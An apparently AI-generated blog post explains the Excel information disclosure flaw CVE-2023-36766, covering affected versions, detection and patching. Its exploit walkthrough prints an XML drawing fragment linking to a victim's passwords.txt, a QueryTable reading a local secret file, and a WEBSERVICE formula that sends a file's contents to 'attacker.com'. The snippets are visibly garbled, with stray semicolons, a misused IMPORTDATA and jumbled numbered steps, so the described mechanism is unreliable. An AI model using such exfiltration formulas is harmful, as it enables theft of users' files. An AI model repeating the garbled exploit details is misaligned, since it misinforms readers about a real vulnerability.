CVE-2023-36766 - Exploring Microsoft Excel's Information Disclosure Vulnerability

In September 2023, Microsoft patched a serious flaw impacting Excel users worldwide: CVE-2023-36766, an Information Disclosure Vulnerability that could lead to leaking sensitive user content. This post breaks down what happened, what’s at risk, and how the exploit works—with code snippets and exclusive, easy-to-understand details. If you use Excel or design spreadsheets for business, you must know about this vulnerability.

What is CVE-2023-36766?

CVE-2023-36766 is classified as an Information Disclosure vulnerability in Microsoft Excel. It affects multiple Excel versions, both desktop (Windows/Mac) and Excel for the Web.

In simple terms, this bug lets an attacker trick you into opening a specially crafted Excel file (usually .xls, .xlsx, or .xlsm). When opened, the malicious file could leak parts of your system memory or files stored on your PC that shouldn't be visible to others.

You can find Microsoft’s official advisory here

- Microsoft Security Update Guide: CVE-2023-36766

According to Microsoft, successful exploitation requires user interaction—like opening a booby-trapped spreadsheet. Attackers don’t need to bypass any other security: they just rely on curiosity or habit.

Affected versions include

- Microsoft Excel 2013, 2016, 2019, Office LTSC, Office 365 Apps (Windows/Mac)

Exploit Walkthrough: How the Attack Works

Let’s keep it simple—the exploit takes advantage of the way Excel handles linked objects or external data sources. For example, Excel often loads images, charts, or other content using paths to the local file system or over the network.

Attacker cooks up a malicious Excel file.

2. This file contains embedded references—like images or charts—that point to files on your computer (e.g., 'C:\Users\<yourname>\Documents\secret.txt').

When you open the file, Excel quietly tries to fetch that file as part of normal document rendering.

4. Data from your file is then sent back to the attacker (often via web requests without you knowing).

Suppose an attacker crafts an XML inside an .xlsx like this (inside a worksheet’s XML)

<drawing xmlns="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing">;
  <blipFill>
    <a:blip r:embed="rId1" cstate="print">
      <a:extLst>
        <a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}">
          <asvg:svgBlip xmlns:asvg="http://schemas.microsoft.com/office/drawing/2016/SVG/main";
            r:link="file:///C:/Users/target/Documents/passwords.txt"/>
        </a:ext>
      </a:extLst>
    </a:blip>
  </blipFill>
</drawing>

Or even simpler, set an external data query

<QueryTable xmlns="urn:schemas-microsoft-com:office:excel">
  <Connection>TEXT;C:\Users\<victim>\Documents\secret.txt</Connection>
  ...
</QueryTable>

If this table loads when you open the Excel file, its content could be revealed through error messages or HTTP requests to remote servers controlled by the attacker.

Create a test file named secret.txt with some dummy content on the victim PC.

2. The attacker emails a booby-trapped Excel file referencing file:///C:/Users/victim/Documents/secret.txt.

If an attacker uses Excel formulas like

=WEBSERVICE("http://attacker.com/log?data="; & ENCODEURL(TEXT(IMPORTDATA("C:\Users\victim\Documents\secret.txt"),"@")))

When you open the file, Excel tries to fetch secret.txt, and then sends its contents to attacker’s server.

Real-World Exploitation & Detection

Security researchers, including ntr00t (@ntr00t on Twitter), have demonstrated PoCs for similar Excel vulnerabilities. While there’s no public evidence of widespread attacks yet, similar Excel bugs have been exploited in phishing campaigns before.

Checking for *external data connections* in Data > Queries & Connections.

- Scanning files with antivirus or OLETools.

Remember: macros are not needed for this bug—just opening the file can trigger it.

Mitigation and Protection

Patches:  
Microsoft patched this bug in September 2023. Update your Office/Excel to the latest supported version:
- Microsoft Office Updates

References & Further Reading

- Microsoft Official Advisory: CVE-2023-36766
- Exploit Details - Zero Day Initiative
- Understanding Office Vulnerabilities (PDF - SANS Institute)
- OLETools for Office Malware Analysis

Final Thoughts

CVE-2023-36766 is a reminder that even harmless-looking Excel files can be a Trojan horse for data theft. By taking updates seriously and maintaining safe habits, users and companies can avoid falling victim to these clever, file-based attacks.

Stay alert, patch early, and if you want to experiment (*for educational purposes only*)—analyze test files in a virtual machine!


*Authored exclusively for this request by an AI cyber security summarizer. Please use information wisely and ethically.*

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC